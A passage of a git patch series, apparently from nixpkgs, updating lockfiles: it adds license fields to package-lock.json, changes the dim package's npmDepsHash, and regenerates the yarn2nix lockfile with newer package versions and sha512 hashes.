       "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==",
+      "license": "MIT",
       "dependencies": {
         "cliui": "^7.0.2",
         "escalade": "^3.1.1",
@@ -19367,6 +19106,7 @@
       "version": "20.2.9",
       "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz",
       "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==",
+      "license": "ISC",
       "engines": {
         "node": ">=10"
       }
@@ -19374,12 +19114,14 @@
     "node_modules/yargs/node_modules/emoji-regex": {
       "version": "8.0.0",
       "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
-      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
+      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+      "license": "MIT"
     },
     "node_modules/yargs/node_modules/is-fullwidth-code-point": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
       "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -19388,6 +19130,7 @@
       "version": "4.2.3",
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
       "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+      "license": "MIT",
       "dependencies": {
         "emoji-regex": "^8.0.0",
         "is-fullwidth-code-point": "^3.0.0",
@@ -19401,6 +19144,7 @@
       "version": "0.1.0",
       "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz",
       "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
diff --git a/pkgs/by-name/di/dim/package.nix b/pkgs/by-name/di/dim/package.nix
index c28db10cab47..bfef88971d2a 100644
--- a/pkgs/by-name/di/dim/package.nix
+++ b/pkgs/by-name/di/dim/package.nix
@@ -34,7 +34,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
       ln -s ${./package-lock.json} package-lock.json
     '';
 
-    npmDepsHash = "sha256-6oSm3H6RItHOrBIvP6uvR7sBboBRWFuP3VwU38GMfgQ=";
+    npmDepsHash = "sha256-yYTRoxKnTF9y3RA4fuDlVYxv9d37Fc905TYVc/gPIRw=";
 
     installPhase = ''
       runHook preInstall

From 032ee781f3534996b8263812d4e1d4b5f38d1452 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sun, 6 Jul 2025 14:58:50 -0400
Subject: [PATCH 2200/4511] yarn2nix: regenerate lockfile

Fixes some vulnerabilities in dependencies.

(cherry picked from commit 96d3d9133baae4e985cfa76dd722d0654d15c4d5)
---
 .../tools/yarn2nix-moretea/yarn.nix           | 2160 +++++++++-----
 .../tools/yarn2nix-moretea/yarn2nix/yarn.lock | 2538 +++++++++++------
 2 files changed, 3032 insertions(+), 1666 deletions(-)

diff --git a/pkgs/development/tools/yarn2nix-moretea/yarn.nix b/pkgs/development/tools/yarn2nix-moretea/yarn.nix
index 159c136f6658..cdcbbf46035d 100644
--- a/pkgs/development/tools/yarn2nix-moretea/yarn.nix
+++ b/pkgs/development/tools/yarn2nix-moretea/yarn.nix
@@ -9,115 +9,139 @@ rec {
   offline_cache = linkFarm "offline" packages;
   packages = [
     {
-      name = "_babel_code_frame___code_frame_7.8.3.tgz";
+      name = "_babel_code_frame___code_frame_7.27.1.tgz";
       path = fetchurl {
-        name = "_babel_code_frame___code_frame_7.8.3.tgz";
-        url = "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.8.3.tgz";
-        sha512 = "a9gxpmdXtZEInkCSHUJDLHZVBgb1QS0jhss4cPP93EW7s+uC5bikET2twEF3KV+7rDblJcmNvTR7VJejqd2C2g==";
+        name = "_babel_code_frame___code_frame_7.27.1.tgz";
+        url = "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.27.1.tgz";
+        sha512 = "cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==";
       };
     }
     {
-      name = "_babel_generator___generator_7.9.6.tgz";
+      name = "_babel_generator___generator_7.28.0.tgz";
       path = fetchurl {
-        name = "_babel_generator___generator_7.9.6.tgz";
-        url = "https://registry.yarnpkg.com/@babel/generator/-/generator-7.9.6.tgz";
-        sha512 = "+htwWKJbH2bL72HRluF8zumBxzuX0ZZUFl3JLNyoUjM/Ho8wnVpPXM6aUz8cfKDqQ/h7zHqKt4xzJteUosckqQ==";
+        name = "_babel_generator___generator_7.28.0.tgz";
+        url = "https://registry.yarnpkg.com/@babel/generator/-/generator-7.28.0.tgz";
+        sha512 = "lJjzvrbEeWrhB4P3QBsH7tey117PjLZnDbLiQEKjQ/fNJTjuq4HSqgFA+UNSwZT8D7dxxbnuSBMsa1lrWzKlQg==";
       };
     }
     {
-      name = "_babel_helper_function_name___helper_function_name_7.9.5.tgz";
+      name = "_babel_helper_globals___helper_globals_7.28.0.tgz";
       path = fetchurl {
-        name = "_babel_helper_function_name___helper_function_name_7.9.5.tgz";
-        url = "https://registry.yarnpkg.com/@babel/helper-function-name/-/helper-function-name-7.9.5.tgz";
-        sha512 = "JVcQZeXM59Cd1qanDUxv9fgJpt3NeKUaqBqUEvfmQ+BCOKq2xUgaWZW2hr0dkbyJgezYuplEoh5knmrnS68efw==";
+        name = "_babel_helper_globals___helper_globals_7.28.0.tgz";
+        url = "https://registry.yarnpkg.com/@babel/helper-globals/-/helper-globals-7.28.0.tgz";
+        sha512 = "+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==";
       };
     }
     {
-      name = "_babel_helper_get_function_arity___helper_get_function_arity_7.8.3.tgz";
+      name = "_babel_helper_string_parser___helper_string_parser_7.27.1.tgz";
       path = fetchurl {
-        name = "_babel_helper_get_function_arity___helper_get_function_arity_7.8.3.tgz";
-        url = "https://registry.yarnpkg.com/@babel/helper-get-function-arity/-/helper-get-function-arity-7.8.3.tgz";
-        sha512 = "FVDR+Gd9iLjUMY1fzE2SR0IuaJToR4RkCDARVfsBBPSP53GEqSFjD8gNyxg246VUyc/ALRxFaAK8rVG7UT7xRA==";
+        name = "_babel_helper_string_parser___helper_string_parser_7.27.1.tgz";
+        url = "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz";
+        sha512 = "qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==";
       };
     }
     {
-      name = "_babel_helper_split_export_declaration___helper_split_export_declaration_7.8.3.tgz";
+      name = "_babel_helper_validator_identifier___helper_validator_identifier_7.27.1.tgz";
       path = fetchurl {
-        name = "_babel_helper_split_export_declaration___helper_split_export_declaration_7.8.3.tgz";
-        url = "https://registry.yarnpkg.com/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.8.3.tgz";
-        sha512 = "3x3yOeyBhW851hroze7ElzdkeRXQYQbFIb7gLK1WQYsw2GWDay5gAJNw1sWJ0VFP6z5J1whqeXH/WCdCjZv6dA==";
+        name = "_babel_helper_validator_identifier___helper_validator_identifier_7.27.1.tgz";
+        url = "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz";
+        sha512 = "D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==";
       };
     }
     {
-      name = "_babel_helper_validator_identifier___helper_validator_identifier_7.9.5.tgz";
+      name = "_babel_parser___parser_7.28.0.tgz";
       path = fetchurl {
-        name = "_babel_helper_validator_identifier___helper_validator_identifier_7.9.5.tgz";
-        url = "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.9.5.tgz";
-        sha512 = "/8arLKUFq882w4tWGj9JYzRpAlZgiWUJ+dtteNTDqrRBz9Iguck9Rn3ykuBDoUwh2TO4tSAJlrxDUOXWklJe4g==";
+        name = "_babel_parser___parser_7.28.0.tgz";
+        url = "https://registry.yarnpkg.com/@babel/parser/-/parser-7.28.0.tgz";
+        sha512 = "jVZGvOxOuNSsuQuLRTh13nU0AogFlw32w/MT+LV6D3sP5WdbW61E77RnkbaO2dUvmPAYrBDJXGn5gGS6tH4j8g==";
       };
     }
     {
-      name = "_babel_highlight___highlight_7.9.0.tgz";
+      name = "_babel_runtime___runtime_7.27.6.tgz";
       path = fetchurl {
-        name = "_babel_highlight___highlight_7.9.0.tgz";
-        url = "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.9.0.tgz";
-        sha512 = "lJZPilxX7Op3Nv/2cvFdnlepPXDxi29wxteT57Q965oc5R9v86ztx0jfxVrTcBk8C2kcPkkDa2Z4T3ZsPPVWsQ==";
+        name = "_babel_runtime___runtime_7.27.6.tgz";
+        url = "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.27.6.tgz";
+        sha512 = "vbavdySgbTTrmFE+EsiqUTzlOr5bzlnJtUv9PynGCAKvfQqjIXbvFdumPM/GxMDfyuGMJaJAU6TO4zc1Jf1i8Q==";
       };
     }
     {
-      name = "_babel_parser___parser_7.9.6.tgz";
+      name = "_babel_template___template_7.27.2.tgz";
       path = fetchurl {
-        name = "_babel_parser___parser_7.9.6.tgz";
-        url = "https://registry.yarnpkg.com/@babel/parser/-/parser-7.9.6.tgz";
-        sha512 = "AoeIEJn8vt+d/6+PXDRPaksYhnlbMIiejioBZvvMQsOjW/JYK6k/0dKnvvP3EhK5GfMBWDPtrxRtegWdAcdq9Q==";
+        name = "_babel_template___template_7.27.2.tgz";
+        url = "https://registry.yarnpkg.com/@babel/template/-/template-7.27.2.tgz";
+        sha512 = "LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==";
       };
     }
     {
-      name = "_babel_runtime_corejs3___runtime_corejs3_7.9.6.tgz";
+      name = "_babel_traverse___traverse_7.28.0.tgz";
       path = fetchurl {
-        name = "_babel_runtime_corejs3___runtime_corejs3_7.9.6.tgz";
-        url = "https://registry.yarnpkg.com/@babel/runtime-corejs3/-/runtime-corejs3-7.9.6.tgz";
-        sha512 = "6toWAfaALQjt3KMZQc6fABqZwUDDuWzz+cAfPhqyEnzxvdWOAkjwPNxgF8xlmo7OWLsSjaKjsskpKHRLaMArOA==";
+        name = "_babel_traverse___traverse_7.28.0.tgz";
+        url = "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.28.0.tgz";
+        sha512 = "mGe7UK5wWyh0bKRfupsUchrQGqvDbZDbKJw+kcRGSmdHVYrv+ltd0pnpDTVpiTqnaBru9iEvA8pz8W46v0Amwg==";
       };
     }
     {
-      name = "_babel_runtime___runtime_7.9.6.tgz";
+      name = "_babel_types___types_7.28.0.tgz";
       path = fetchurl {
-        name = "_babel_runtime___runtime_7.9.6.tgz";
-        url = "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.9.6.tgz";
-        sha512 = "64AF1xY3OAkFHqOb9s4jpgk1Mm5vDZ4L3acHvAml+53nO1XbXLuDodsVpO4OIUsmemlUHMxNdYMNJmsvOwLrvQ==";
+        name = "_babel_types___types_7.28.0.tgz";
+        url = "https://registry.yarnpkg.com/@babel/types/-/types-7.28.0.tgz";
+        sha512 = "jYnje+JyZG5YThjHiF28oT4SIZLnYOcSBb6+SDaFIyzDVSkXQmQQYclJ2R+YxcdmK0AX6x1E5OQNtuh3jHDrUg==";
       };
     }
     {
-      name = "_babel_template___template_7.8.6.tgz";
+      name = "_jridgewell_gen_mapping___gen_mapping_0.3.12.tgz";
       path = fetchurl {
-        name = "_babel_template___template_7.8.6.tgz";
-        url = "https://registry.yarnpkg.com/@babel/template/-/template-7.8.6.tgz";
-        sha512 = "zbMsPMy/v0PWFZEhQJ66bqjhH+z0JgMoBWuikXybgG3Gkd/3t5oQ1Rw2WQhnSrsOmsKXnZOx15tkC4qON/+JPg==";
+        name = "_jridgewell_gen_mapping___gen_mapping_0.3.12.tgz";
+        url = "https://registry.yarnpkg.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.12.tgz";
+        sha512 = "OuLGC46TjB5BbN1dH8JULVVZY4WTdkF7tV9Ys6wLL1rubZnCMstOhNHueU5bLCrnRuDhKPDM4g6sw4Bel5Gzqg==";
       };
     }
     {
-      name = "_babel_traverse___traverse_7.9.6.tgz";
+      name = "_jridgewell_resolve_uri___resolve_uri_3.1.2.tgz";
       path = fetchurl {
-        name = "_babel_traverse___traverse_7.9.6.tgz";
-        url = "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.9.6.tgz";
-        sha512 = "b3rAHSjbxy6VEAvlxM8OV/0X4XrG72zoxme6q1MOoe2vd0bEc+TwayhuC1+Dfgqh1QEG+pj7atQqvUprHIccsg==";
+        name = "_jridgewell_resolve_uri___resolve_uri_3.1.2.tgz";
+        url = "https://registry.yarnpkg.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz";
+        sha512 = "bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==";
       };
     }
     {
-      name = "_babel_types___types_7.9.6.tgz";
+      name = "_jridgewell_sourcemap_codec___sourcemap_codec_1.5.4.tgz";
       path = fetchurl {
-        name = "_babel_types___types_7.9.6.tgz";
-        url = "https://registry.yarnpkg.com/@babel/types/-/types-7.9.6.tgz";
-        sha512 = "qxXzvBO//jO9ZnoasKF1uJzHd2+M6Q2ZPIVfnFps8JJvXy0ZBbwbNOmE6SGIY5XOY6d1Bo5lb9d9RJ8nv3WSeA==";
+        name = "_jridgewell_sourcemap_codec___sourcemap_codec_1.5.4.tgz";
+        url = "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.4.tgz";
+        sha512 = "VT2+G1VQs/9oz078bLrYbecdZKs912zQlkelYpuf+SXF+QvZDYJlbx/LSx+meSAwdDFnF8FVXW92AVjjkVmgFw==";
       };
     }
     {
-      name = "_samverschueren_stream_to_observable___stream_to_observable_0.3.0.tgz";
+      name = "_jridgewell_trace_mapping___trace_mapping_0.3.29.tgz";
       path = fetchurl {
-        name = "_samverschueren_stream_to_observable___stream_to_observable_0.3.0.tgz";
-        url = "https://registry.yarnpkg.com/@samverschueren/stream-to-observable/-/stream-to-observable-0.3.0.tgz";
-        sha512 = "MI4Xx6LHs4Webyvi6EbspgyAb4D2Q2VtnCQ1blOJcoLS6mVa8lNN2rkIy1CVxfTUpoyIbCTkXES1rLXztFD1lg==";
+        name = "_jridgewell_trace_mapping___trace_mapping_0.3.29.tgz";
+        url = "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz";
+        sha512 = "uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==";
+      };
+    }
+    {
+      name = "_rtsao_scc___scc_1.1.0.tgz";
+      path = fetchurl {
+        name = "_rtsao_scc___scc_1.1.0.tgz";
+        url = "https://registry.yarnpkg.com/@rtsao/scc/-/scc-1.1.0.tgz";
+        sha512 = "zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g==";
+      };
+    }
+    {
+      name = "_samverschueren_stream_to_observable___stream_to_observable_0.3.1.tgz";
+      path = fetchurl {
+        name = "_samverschueren_stream_to_observable___stream_to_observable_0.3.1.tgz";
+        url = "https://registry.yarnpkg.com/@samverschueren/stream-to-observable/-/stream-to-observable-0.3.1.tgz";
+        sha512 = "c/qwwcHyafOQuVQJj0IlBjf5yYgBI7YPJ77k4fOJYesb41jio65eaJODRUmfYKhTOFBrIZ66kgvGPlNbjuoRdQ==";
+      };
+    }
+    {
+      name = "_types_json5___json5_0.0.29.tgz";
+      path = fetchurl {
+        name = "_types_json5___json5_0.0.29.tgz";
+        url = "https://registry.yarnpkg.com/@types/json5/-/json5-0.0.29.tgz";
+        sha512 = "dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==";
       };
     }
     {
@@ -141,15 +165,15 @@ rec {
       path = fetchurl {
         name = "acorn_jsx___acorn_jsx_3.0.1.tgz";
         url = "https://registry.yarnpkg.com/acorn-jsx/-/acorn-jsx-3.0.1.tgz";
-        sha1 = "r9+UiPsezvyDSPb7IvRk4ypYs2s=";
+        sha512 = "AU7pnZkguthwBjKgCg6998ByQNIMjbuDQZ8bb78QAFZwPfmKia8AIzgY/gWgqCjnht8JLdXmB4YxA0KaV60ncQ==";
       };
     }
     {
-      name = "acorn_jsx___acorn_jsx_5.2.0.tgz";
+      name = "acorn_jsx___acorn_jsx_5.3.2.tgz";
       path = fetchurl {
-        name = "acorn_jsx___acorn_jsx_5.2.0.tgz";
-        url = "https://registry.yarnpkg.com/acorn-jsx/-/acorn-jsx-5.2.0.tgz";
-        sha512 = "HiUX/+K2YpkpJ+SzBffkM/AQ2YE03S0U1kjTLVpoJdhZMOWy8qvXVN9JdLqv2QsaQ6MPYQIuNmwD8zOiYUofLQ==";
+        name = "acorn_jsx___acorn_jsx_5.3.2.tgz";
+        url = "https://registry.yarnpkg.com/acorn-jsx/-/acorn-jsx-5.3.2.tgz";
+        sha512 = "rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==";
       };
     }
     {
@@ -157,7 +181,7 @@ rec {
       path = fetchurl {
         name = "acorn___acorn_3.3.0.tgz";
         url = "https://registry.yarnpkg.com/acorn/-/acorn-3.3.0.tgz";
-        sha1 = "ReN/s56No/JbruP/U2niu18iAXo=";
+        sha512 = "OLUyIIZ7mF5oaAUT1w0TFqQS81q3saT46x8t7ukpPjMNk+nbs4ZHhs7ToV8EWnLYLepjETXd4XaCE4uxkMeqUw==";
       };
     }
     {
@@ -169,11 +193,11 @@ rec {
       };
     }
     {
-      name = "acorn___acorn_6.4.1.tgz";
+      name = "acorn___acorn_6.4.2.tgz";
       path = fetchurl {
-        name = "acorn___acorn_6.4.1.tgz";
-        url = "https://registry.yarnpkg.com/acorn/-/acorn-6.4.1.tgz";
-        sha512 = "ZVA9k326Nwrj3Cj9jlh3wGFutC2ZornPNARZwsNYqQYgN0EsV2d53w5RN/co65Ohn4sUAUtb1rSUAOD6XN9idA==";
+        name = "acorn___acorn_6.4.2.tgz";
+        url = "https://registry.yarnpkg.com/acorn/-/acorn-6.4.2.tgz";
+        sha512 = "XtGIhXwF8YM8bJhGxG5kXgjkEuNGLTkoYqVE+KMR+aspr4KGYmKYg7yUe3KghyQ9yheNwLnjmzh/7+gfDBmHCQ==";
       };
     }
     {
@@ -181,7 +205,7 @@ rec {
       path = fetchurl {
         name = "ajv_keywords___ajv_keywords_2.1.1.tgz";
         url = "https://registry.yarnpkg.com/ajv-keywords/-/ajv-keywords-2.1.1.tgz";
-        sha1 = "YXmX/F9gV2iUxDX5QNgZ4TW4B2I=";
+        sha512 = "ZFztHzVRdGLAzJmpUT9LNFLe1YiVOEylcaNpEutM26PVTCtOD919IMfD01CgbRouB42Dd9atjx1HseC15DgOZA==";
       };
     }
     {
@@ -189,15 +213,15 @@ rec {
       path = fetchurl {
         name = "ajv___ajv_5.5.2.tgz";
         url = "https://registry.yarnpkg.com/ajv/-/ajv-5.5.2.tgz";
-        sha1 = "c7Xuyj+rZT49P5Qis0GtQiBdyWU=";
+        sha512 = "Ajr4IcMXq/2QmMkEmSvxqfLN5zGmJ92gHXAeOXq1OekoH2rfDNsgdDoL2f7QaRCy7G/E6TpxBVdRuNraMztGHw==";
       };
     }
     {
-      name = "ajv___ajv_6.12.2.tgz";
+      name = "ajv___ajv_6.12.6.tgz";
       path = fetchurl {
-        name = "ajv___ajv_6.12.2.tgz";
-        url = "https://registry.yarnpkg.com/ajv/-/ajv-6.12.2.tgz";
-        sha512 = "k+V+hzjm5q/Mr8ef/1Y9goCmlsK4I6Sm74teeyGvFk1XrOsbsKLjEdrvny42CZ+a8sXbk8KWpY/bDwS+FLL2UQ==";
+        name = "ajv___ajv_6.12.6.tgz";
+        url = "https://registry.yarnpkg.com/ajv/-/ajv-6.12.6.tgz";
+        sha512 = "j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==";
       };
     }
     {
@@ -213,23 +237,23 @@ rec {
       path = fetchurl {
         name = "ansi_regex___ansi_regex_2.1.1.tgz";
         url = "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-2.1.1.tgz";
-        sha1 = "w7M6te42DYbg5ijwRorn7yfWVN8=";
+        sha512 = "TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==";
       };
     }
     {
-      name = "ansi_regex___ansi_regex_3.0.0.tgz";
+      name = "ansi_regex___ansi_regex_3.0.1.tgz";
       path = fetchurl {
-        name = "ansi_regex___ansi_regex_3.0.0.tgz";
-        url = "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-3.0.0.tgz";
-        sha1 = "7QMXwyIGT3lGbAKWa922Bas32Zg=";
+        name = "ansi_regex___ansi_regex_3.0.1.tgz";
+        url = "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-3.0.1.tgz";
+        sha512 = "+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==";
       };
     }
     {
-      name = "ansi_regex___ansi_regex_4.1.0.tgz";
+      name = "ansi_regex___ansi_regex_4.1.1.tgz";
       path = fetchurl {
-        name = "ansi_regex___ansi_regex_4.1.0.tgz";
-        url = "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-4.1.0.tgz";
-        sha512 = "1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==";
+        name = "ansi_regex___ansi_regex_4.1.1.tgz";
+        url = "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-4.1.1.tgz";
+        sha512 = "ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==";
       };
     }
     {
@@ -237,7 +261,7 @@ rec {
       path = fetchurl {
         name = "ansi_styles___ansi_styles_2.2.1.tgz";
         url = "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-2.2.1.tgz";
-        sha1 = "tDLdM1i2NM914eRmQ2gkBTPB3b4=";
+        sha512 = "kmCevFghRiWM7HB5zTPULl4r9bVFSWjz62MhqizDGUrq2NWuNMQyuv4tHHoKJHs69M/MF64lEcHdYIocrdWQYA==";
       };
     }
     {
@@ -265,11 +289,11 @@ rec {
       };
     }
     {
-      name = "aria_query___aria_query_3.0.0.tgz";
+      name = "aria_query___aria_query_5.3.2.tgz";
       path = fetchurl {
-        name = "aria_query___aria_query_3.0.0.tgz";
-        url = "https://registry.yarnpkg.com/aria-query/-/aria-query-3.0.0.tgz";
-        sha1 = "ZbP8wcoRVajJrmTW7uKX8V1RM8w=";
+        name = "aria_query___aria_query_5.3.2.tgz";
+        url = "https://registry.yarnpkg.com/aria-query/-/aria-query-5.3.2.tgz";
+        sha512 = "COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==";
       };
     }
     {
@@ -277,7 +301,7 @@ rec {
       path = fetchurl {
         name = "arr_diff___arr_diff_4.0.0.tgz";
         url = "https://registry.yarnpkg.com/arr-diff/-/arr-diff-4.0.0.tgz";
-        sha1 = "1kYQdP6/7HHn4VI1dhoyml3HxSA=";
+        sha512 = "YVIQ82gZPGBebQV/a8dar4AitzCQs0jjXwMPZllpXMaGjXPYVUawSxQrRsjhjupyVxEvbHgUmIhKVlND+j02kA==";
       };
     }
     {
@@ -293,15 +317,23 @@ rec {
       path = fetchurl {
         name = "arr_union___arr_union_3.1.0.tgz";
         url = "https://registry.yarnpkg.com/arr-union/-/arr-union-3.1.0.tgz";
-        sha1 = "45sJrqne+Gao8gbiiK9jkZuuOcQ=";
+        sha512 = "sKpyeERZ02v1FeCZT8lrfJq5u6goHCtpTAzPwJYe7c8SPFOboNjNg1vz2L4VTn9T4PQxEx13TbXLmYUcS6Ug7Q==";
       };
     }
     {
-      name = "array_includes___array_includes_3.1.1.tgz";
+      name = "array_buffer_byte_length___array_buffer_byte_length_1.0.2.tgz";
       path = fetchurl {
-        name = "array_includes___array_includes_3.1.1.tgz";
-        url = "https://registry.yarnpkg.com/array-includes/-/array-includes-3.1.1.tgz";
-        sha512 = "c2VXaCHl7zPsvpkFsw4nxvFie4fh1ur9bpcgsVkIjqn0H/Xwdg+7fv3n2r/isyS8EBj5b06M9kHyZuIr4El6WQ==";
+        name = "array_buffer_byte_length___array_buffer_byte_length_1.0.2.tgz";
+        url = "https://registry.yarnpkg.com/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz";
+        sha512 = "LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==";
+      };
+    }
+    {
+      name = "array_includes___array_includes_3.1.9.tgz";
+      path = fetchurl {
+        name = "array_includes___array_includes_3.1.9.tgz";
+        url = "https://registry.yarnpkg.com/array-includes/-/array-includes-3.1.9.tgz";
+        sha512 = "FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==";
       };
     }
     {
@@ -309,7 +341,7 @@ rec {
       path = fetchurl {
         name = "array_union___array_union_1.0.2.tgz";
         url = "https://registry.yarnpkg.com/array-union/-/array-union-1.0.2.tgz";
-        sha1 = "mjRBDk9OPaI96jdb5b5w8kd47Dk=";
+        sha512 = "Dxr6QJj/RdU/hCaBjOfxW+q6lyuVE6JFWIrAUpuOOhoJJoQ99cUn3igRaHVB5P9WrgFVN0FfArM3x0cueOU8ng==";
       };
     }
     {
@@ -317,7 +349,7 @@ rec {
       path = fetchurl {
         name = "array_uniq___array_uniq_1.0.3.tgz";
         url = "https://registry.yarnpkg.com/array-uniq/-/array-uniq-1.0.3.tgz";
-        sha1 = "r2rId6Jcx/dOBYiUdThY39sk/bY=";
+        sha512 = "MNha4BWQ6JbwhFhj03YK552f7cb3AzoE8SzeljgChvL1dl3IcvggXVz1DilzySZkCja+CXuZbdW7yATchWn8/Q==";
       };
     }
     {
@@ -325,15 +357,55 @@ rec {
       path = fetchurl {
         name = "array_unique___array_unique_0.3.2.tgz";
         url = "https://registry.yarnpkg.com/array-unique/-/array-unique-0.3.2.tgz";
-        sha1 = "qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=";
+        sha512 = "SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ==";
       };
     }
     {
-      name = "array.prototype.flat___array.prototype.flat_1.2.3.tgz";
+      name = "array.prototype.findlast___array.prototype.findlast_1.2.5.tgz";
       path = fetchurl {
-        name = "array.prototype.flat___array.prototype.flat_1.2.3.tgz";
-        url = "https://registry.yarnpkg.com/array.prototype.flat/-/array.prototype.flat-1.2.3.tgz";
-        sha512 = "gBlRZV0VSmfPIeWfuuy56XZMvbVfbEUnOXUvt3F/eUUUSyzlgLxhEX4YAEpxNAogRGehPSnfXyPtYyKAhkzQhQ==";
+        name = "array.prototype.findlast___array.prototype.findlast_1.2.5.tgz";
+        url = "https://registry.yarnpkg.com/array.prototype.findlast/-/array.prototype.findlast-1.2.5.tgz";
+        sha512 = "CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==";
+      };
+    }
+    {
+      name = "array.prototype.findlastindex___array.prototype.findlastindex_1.2.6.tgz";
+      path = fetchurl {
+        name = "array.prototype.findlastindex___array.prototype.findlastindex_1.2.6.tgz";
